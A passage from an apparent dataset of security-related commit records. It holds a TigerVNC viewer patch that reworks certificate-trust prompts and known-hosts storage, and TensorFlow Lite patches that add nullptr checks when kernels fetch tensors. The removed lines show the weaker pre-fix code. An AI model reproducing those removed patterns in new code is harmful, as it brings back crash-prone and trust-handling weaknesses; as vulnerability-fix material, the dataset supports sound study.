unknown authority\\n\"+\n+ \"\\n\"+info+\"\\n\"+\n+ \"Someone could be trying to impersonate the site and you should not continue.\\n\"+\n \"\\n\"+\n- \" Subject: \"+cert.getSubjectX500Principal().getName()+\"\\n\"+\n- \" Issuer: \"+cert.getIssuerX500Principal().getName()+\"\\n\"+\n- \" Serial Number: \"+cert.getSerialNumber()+\"\\n\"+\n- \" Version: \"+cert.getVersion()+\"\\n\"+\n- \" Signature Algorithm: \"+cert.getPublicKey().getAlgorithm()+\"\\n\"+\n- \" Not Valid Before: \"+cert.getNotBefore()+\"\\n\"+\n- \" Not Valid After: \"+cert.getNotAfter()+\"\\n\"+\n- \" SHA1 Fingerprint: \"+getThumbprint(cert)+\"\\n\"+\n- \"\\n\"+\n- \"Do you want to save it and continue?\";\n- if (!msg.showMsgBox(YES_NO_OPTION, \"certificate issuer unknown\",\n- certinfo)) {\n- throw new AuthFailureException(\"certificate issuer unknown\");\n- }\n- if (certs == null || !certs.contains(cert)) {\n- byte[] der = cert.getEncoded();\n- String pem = Base64.getEncoder().encodeToString(der);\n- pem = pem.replaceAll(\"(.{64})\", \"$1\\n\");\n- FileWriter fw = null;\n- try {\n- if (!vncDir.exists())\n- vncDir.mkdir();\n- if (!certFile.exists() && !certFile.createNewFile()) {\n- vlog.error(\"Certificate save failed.\");\n- } else {\n- fw = new FileWriter(certFile.getAbsolutePath(), true);\n- fw.write(\"-----BEGIN CERTIFICATE-----\\n\");\n- fw.write(pem+\"\\n\");\n- fw.write(\"-----END CERTIFICATE-----\\n\");\n- }\n- } catch (IOException ioe) {\n- msg.showMsgBox(OK_OPTION, \"certificate save failed\",\n- \"Could not save the certificate\");\n- } finally {\n- try {\n- if (fw != null)\n- fw.close();\n- } catch(IOException ioe2) {\n- throw new Exception(ioe2.getMessage());\n- }\n- }\n- }\n+ \"Do you want to make an exception for this server?\";\n+ if (!msg.showMsgBox(YES_NO_OPTION, \"Unknown certificate issuer\", text))\n+ throw new AuthFailureException(\"Unknown certificate issuer\");\n+ store_pubkey(dbPath, client.getServerName().toLowerCase(), pk);\n } else {\n throw new SystemException(e.getMessage());\n }\n }\n }\n \n+ private void store_pubkey(File dbPath, String serverName, String pk)\n+ {\n+ ArrayList lines = new ArrayList();\n+ File vncDir = new File(FileUtils.getVncHomeDir());\n+ try {\n+ if (dbPath.exists()) {\n+ FileReader db = new FileReader(dbPath);\n+ BufferedReader dbBuf = new BufferedReader(db);\n+ String line;\n+ while ((line = dbBuf.readLine())!=null) {\n+ String fields[] = line.split(\"\\\\|\");\n+ if (fields.length==6)\n+ if (!serverName.equals(fields[2]) && !pk.equals(fields[5]))\n+ lines.add(line);\n+ }\n+ dbBuf.close();\n+ }\n+ } catch (IOException e) {\n+ throw new AuthFailureException(\"Could not load known hosts database\");\n+ }\n+ try {\n+ if (!dbPath.exists())\n+ dbPath.createNewFile();\n+ FileWriter fw = new FileWriter(dbPath.getAbsolutePath(), false);\n+ Iterator i = lines.iterator();\n+ while (i.hasNext())\n+ fw.write((String)i.next()+\"\\n\");\n+ fw.write(\"|g0|\"+serverName+\"|*|0|\"+pk+\"\\n\");\n+ fw.close();\n+ } catch (IOException e) {\n+ vlog.error(\"Failed to store server certificate to known hosts database\");\n+ }\n+ }\n+\n public X509Certificate[] getAcceptedIssuers ()\n {\n return tm.getAcceptedIssuers();\n", "related": false}, {"section": "@@ -399,12 +436,13 @@ private void verifyHostname(X509Certificate cert)\n }\n Object[] answer = {\"YES\", \"NO\"};\n int ret = JOptionPane.showOptionDialog(null,\n- \"Hostname verification failed. Do you want to continue?\",\n- \"Hostname Verification Failure\",\n+ \"Hostname (\"+client.getServerName()+\") does not match the\"+\n+ \" server certificate, do you want to continue?\",\n+ \"Certificate hostname mismatch\",\n JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE,\n null, answer, answer[0]);\n if (ret != JOptionPane.YES_OPTION)\n- throw new WarningException(\"Hostname verification failed.\");\n+ throw new WarningException(\"Certificate hostname mismatch.\");\n } catch (CertificateParsingException e) {\n throw new SystemException(e.getMessage());\n } catch (InvalidNameException e) {", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/arg_min_max.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -58,15 +58,19 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- const TfLiteTensor* axis = GetInput(context, node, kAxis);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ const TfLiteTensor* axis;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));\n // Make sure the axis is only 1 dimension.\n TF_LITE_ENSURE_EQ(context, NumElements(axis), 1);\n // Make sure the axis is only either int32 or int64.\n TF_LITE_ENSURE(context,\n axis->type == kTfLiteInt32 || axis->type == kTfLiteInt64);\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n auto* params = reinterpret_cast(node->builtin_data);\n switch (params->output_type) {\n@@ -119,9 +123,13 @@ std::function GetComparefunction(bool is_arg_max) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node, bool is_arg_max) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- const TfLiteTensor* axis = GetInput(context, node, kAxis);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ const TfLiteTensor* axis;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n if (IsDynamicTensor(output)) {\n TF_LITE_ENSURE_STATUS(ResizeOutput(context, input, axis, output));\n }", "sections": [{"section": "@@ -58,15 +58,19 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- const TfLiteTensor* axis = GetInput(context, node, kAxis);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ const TfLiteTensor* axis;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));\n // Make sure the axis is only 1 dimension.\n TF_LITE_ENSURE_EQ(context, NumElements(axis), 1);\n // Make sure the axis is only either int32 or int64.\n TF_LITE_ENSURE(context,\n axis->type == kTfLiteInt32 || axis->type == kTfLiteInt64);\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n auto* params = reinterpret_cast(node->builtin_data);\n switch (params->output_type) {\n", "related": false}, {"section": "@@ -119,9 +123,13 @@ std::function GetComparefunction(bool is_arg_max) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node, bool is_arg_max) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- const TfLiteTensor* axis = GetInput(context, node, kAxis);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ const TfLiteTensor* axis;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n if (IsDynamicTensor(output)) {\n TF_LITE_ENSURE_STATUS(ResizeOutput(context, input, axis, output));\n }", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/concatenation.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -45,7 +45,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n \n // The number of dimensions of the input tensors must match, and all\n // dimensions except 'axis' must be equal.\n- const TfLiteTensor* t0 = GetInput(context, node, 0);\n+ const TfLiteTensor* t0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &t0));\n TfLiteType input_type = t0->type;\n if (axis < 0) axis += t0->dims->size;\n TF_LITE_ENSURE(context, axis >= 0);\n@@ -63,7 +64,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n // will be the sum of inputs\n int sum_axis = t0->dims->data[axis];\n for (int i = 1; i < num_inputs; ++i) {\n- const TfLiteTensor* t = GetInput(context, node, i);\n+ const TfLiteTensor* t;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &t));\n TF_LITE_ENSURE_EQ(context, t->dims->size, t0->dims->size);\n TF_LITE_ENSURE_EQ(context, t->type, input_type);\n for (int d = 0; d < t0->dims->size; ++d) {\n@@ -80,15 +82,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n output_size->data[d] = (d == axis) ? sum_axis : t0->dims->data[d];\n }\n \n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n TF_LITE_ENSURE_TYPES_EQ(context, output->type, input_type);\n \n if (input_type == kTfLiteInt8) {\n // Make sure there is no re-scaling needed for Int8 quantized kernel. This\n // is a restriction we introduced to Int8 kernels.\n VectorOfTensors all_inputs(*context, *node->inputs);\n for (int i = 0; i < node->inputs->size; ++i) {\n- const TfLiteTensor* t = GetInput(context, node, i);\n+ const TfLiteTensor* t;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &t));\n TF_LITE_ENSURE_EQ(context, t->params.scale, output->params.scale);\n TF_LITE_ENSURE_EQ(context, t->params.zero_point,\n output->params.zero_point);\n@@ -103,7 +107,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n auto* params =\n reinterpret_cast(node->builtin_data);\n int axis = params->axis;\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n if (axis < 0) axis += output->dims->size;\n \n // TODO(ahentz): Creating 'all_inputs' below is not very efficient. We should", "sections": [{"section": "@@ -45,7 +45,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n \n // The number of dimensions of the input tensors must match, and all\n // dimensions except 'axis' must be equal.\n- const TfLiteTensor* t0 = GetInput(context, node, 0);\n+ const TfLiteTensor* t0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &t0));\n TfLiteType input_type = t0->type;\n if (axis < 0) axis += t0->dims->size;\n TF_LITE_ENSURE(context, axis >= 0);\n", "related": false}, {"section": "@@ -63,7 +64,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n // will be the sum of inputs\n int sum_axis = t0->dims->data[axis];\n for (int i = 1; i < num_inputs; ++i) {\n- const TfLiteTensor* t = GetInput(context, node, i);\n+ const TfLiteTensor* t;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &t));\n TF_LITE_ENSURE_EQ(context, t->dims->size, t0->dims->size);\n TF_LITE_ENSURE_EQ(context, t->type, input_type);\n for (int d = 0; d < t0->dims->size; ++d) {\n", "related": false}, {"section": "@@ -80,15 +82,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n output_size->data[d] = (d == axis) ? sum_axis : t0->dims->data[d];\n }\n \n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n TF_LITE_ENSURE_TYPES_EQ(context, output->type, input_type);\n \n if (input_type == kTfLiteInt8) {\n // Make sure there is no re-scaling needed for Int8 quantized kernel. This\n // is a restriction we introduced to Int8 kernels.\n VectorOfTensors all_inputs(*context, *node->inputs);\n for (int i = 0; i < node->inputs->size; ++i) {\n- const TfLiteTensor* t = GetInput(context, node, i);\n+ const TfLiteTensor* t;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &t));\n TF_LITE_ENSURE_EQ(context, t->params.scale, output->params.scale);\n TF_LITE_ENSURE_EQ(context, t->params.zero_point,\n output->params.zero_point);\n", "related": false}, {"section": "@@ -103,7 +107,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n auto* params =\n reinterpret_cast(node->builtin_data);\n int axis = params->axis;\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n if (axis < 0) axis += output->dims->size;\n \n // TODO(ahentz): Creating 'all_inputs' below is not very efficient. We should", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/fill.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -72,8 +72,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* dims = GetInput(context, node, kDimsTensor);\n- const TfLiteTensor* value = GetInput(context, node, kValueTensor);\n+ const TfLiteTensor* dims;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDimsTensor, &dims));\n+ const TfLiteTensor* value;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kValueTensor, &value));\n \n // Make sure the 1st input tensor is 1-D.\n TF_LITE_ENSURE_EQ(context, NumDimensions(dims), 1);\n@@ -85,7 +87,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n // Make sure the 2nd input tensor is a scalar.\n TF_LITE_ENSURE_EQ(context, NumDimensions(value), 0);\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n output->type = value->type;\n \n if (IsConstantTensor(dims)) {\n@@ -111,12 +115,16 @@ TfLiteStatus FillString(const TfLiteTensor* value, TfLiteTensor* output) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* value = GetInput(context, node, kValueTensor);\n+ const TfLiteTensor* value;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kValueTensor, &value));\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n if (IsDynamicTensor(output)) {\n- const TfLiteTensor* dims = GetInput(context, node, kDimsTensor);\n+ const TfLiteTensor* dims;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDimsTensor, &dims));\n TF_LITE_ENSURE_OK(context, ResizeOutput(context, dims, output));\n }\n #define TF_LITE_FILL(data_type) \\", "sections": [{"section": "@@ -72,8 +72,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* dims = GetInput(context, node, kDimsTensor);\n- const TfLiteTensor* value = GetInput(context, node, kValueTensor);\n+ const TfLiteTensor* dims;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDimsTensor, &dims));\n+ const TfLiteTensor* value;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kValueTensor, &value));\n \n // Make sure the 1st input tensor is 1-D.\n TF_LITE_ENSURE_EQ(context, NumDimensions(dims), 1);\n", "related": false}, {"section": "@@ -85,7 +87,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n // Make sure the 2nd input tensor is a scalar.\n TF_LITE_ENSURE_EQ(context, NumDimensions(value), 0);\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n output->type = value->type;\n \n if (IsConstantTensor(dims)) {\n", "related": false}, {"section": "@@ -111,12 +115,16 @@ TfLiteStatus FillString(const TfLiteTensor* value, TfLiteTensor* output) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* value = GetInput(context, node, kValueTensor);\n+ const TfLiteTensor* value;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kValueTensor, &value));\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n if (IsDynamicTensor(output)) {\n- const TfLiteTensor* dims = GetInput(context, node, kDimsTensor);\n+ const TfLiteTensor* dims;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDimsTensor, &dims));\n TF_LITE_ENSURE_OK(context, ResizeOutput(context, dims, output));\n }\n #define TF_LITE_FILL(data_type) \\", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/local_response_norm.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -39,8 +39,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);\n \n@@ -61,8 +64,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n auto* params =\n reinterpret_cast(node->builtin_data);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n if (output->type == kTfLiteFloat32) {\n #define TF_LITE_LOCAL_RESPONSE_NORM(type) \\", "sections": [{"section": "@@ -39,8 +39,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);\n \n", "related": false}, {"section": "@@ -61,8 +64,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n auto* params =\n reinterpret_cast(node->builtin_data);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n if (output->type == kTfLiteFloat32) {\n #define TF_LITE_LOCAL_RESPONSE_NORM(type) \\", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/non_max_suppression.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -79,20 +79,25 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n // Boxes & Scores.\n- const TfLiteTensor* input_boxes = GetInput(context, node, kInputTensorBoxes);\n+ const TfLiteTensor* input_boxes;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorBoxes, &input_boxes));\n TF_LITE_ENSURE_EQ(context, input_boxes->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_boxes), 2);\n TF_LITE_ENSURE_EQ(context, SizeOfDimension(input_boxes, 1), 4);\n const int num_boxes = SizeOfDimension(input_boxes, 0);\n- const TfLiteTensor* input_scores =\n- GetInput(context, node, kInputTensorScores);\n+ const TfLiteTensor* input_scores;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorScores, &input_scores));\n TF_LITE_ENSURE_EQ(context, input_scores->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_scores), 1);\n TF_LITE_ENSURE_EQ(context, num_boxes, SizeOfDimension(input_scores, 0));\n \n // Max output size.\n- const TfLiteTensor* input_max_output_size =\n- GetInput(context, node, kInputTensorMaxOutputSize);\n+ const TfLiteTensor* input_max_output_size;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorMaxOutputSize,\n+ &input_max_output_size));\n TF_LITE_ENSURE_EQ(context, input_max_output_size->type, kTfLiteInt32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_max_output_size), 0);\n const bool is_max_output_size_const = IsConstantTensor(input_max_output_size);\n@@ -103,30 +108,43 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n // IoU & Score thresholds.\n- const TfLiteTensor* input_iou_threshold =\n- GetInput(context, node, kInputTensorIouThreshold);\n+ const TfLiteTensor* input_iou_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorIouThreshold,\n+ &input_iou_threshold));\n TF_LITE_ENSURE_EQ(context, input_iou_threshold->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_iou_threshold), 0);\n- const TfLiteTensor* input_score_threshold =\n- GetInput(context, node, kInputTensorScoreThreshold);\n+ const TfLiteTensor* input_score_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorScoreThreshold,\n+ &input_score_threshold));\n TF_LITE_ENSURE_EQ(context, input_iou_threshold->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_score_threshold), 0);\n \n if (is_soft_nms) {\n- const TfLiteTensor* input_sigma =\n- GetInput(context, node, kInputTensorSigma);\n+ const TfLiteTensor* input_sigma;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorSigma, &input_sigma));\n TF_LITE_ENSURE_EQ(context, input_sigma->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_sigma), 0);\n \n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 3);\n- TfLiteTensor* output_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedIndices);\n+ TfLiteTensor* output_selected_indices;\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n output_selected_indices->type = kTfLiteInt32;\n- TfLiteTensor* output_selected_scores =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedScores);\n+ TfLiteTensor* output_selected_scores;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kSoftNMSOutputTensorSelectedScores,\n+ &output_selected_scores));\n output_selected_scores->type = kTfLiteFloat32;\n- TfLiteTensor* output_num_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorNumSelectedIndices);\n+ TfLiteTensor* output_num_selected_indices;\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n output_num_selected_indices->type = kTfLiteInt32;\n SetTensorSizes(context, output_num_selected_indices, {});\n \n@@ -139,11 +157,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n } else {\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 2);\n- TfLiteTensor* output_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorSelectedIndices);\n+ TfLiteTensor* output_selected_indices;\n+ TF_LITE_ENSURE_OK(\n+ context, GetOutputSafe(context, node, kNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n output_selected_indices->type = kTfLiteInt32;\n- TfLiteTensor* output_num_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorNumSelectedIndices);\n+ TfLiteTensor* output_num_selected_indices;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n output_num_selected_indices->type = kTfLiteInt32;\n SetTensorSizes(context, output_num_selected_indices, {});\n \n@@ -179,42 +201,57 @@ void ResetUnusedElementsToZeroes(const int max_output_size,\n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n const bool is_soft_nms = NumInputs(node) == 6;\n \n- const TfLiteTensor* input_boxes = GetInput(context, node, kInputTensorBoxes);\n+ const TfLiteTensor* input_boxes;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorBoxes, &input_boxes));\n const int num_boxes = SizeOfDimension(input_boxes, 0);\n- const TfLiteTensor* input_scores =\n- GetInput(context, node, kInputTensorScores);\n- const TfLiteTensor* input_max_output_size 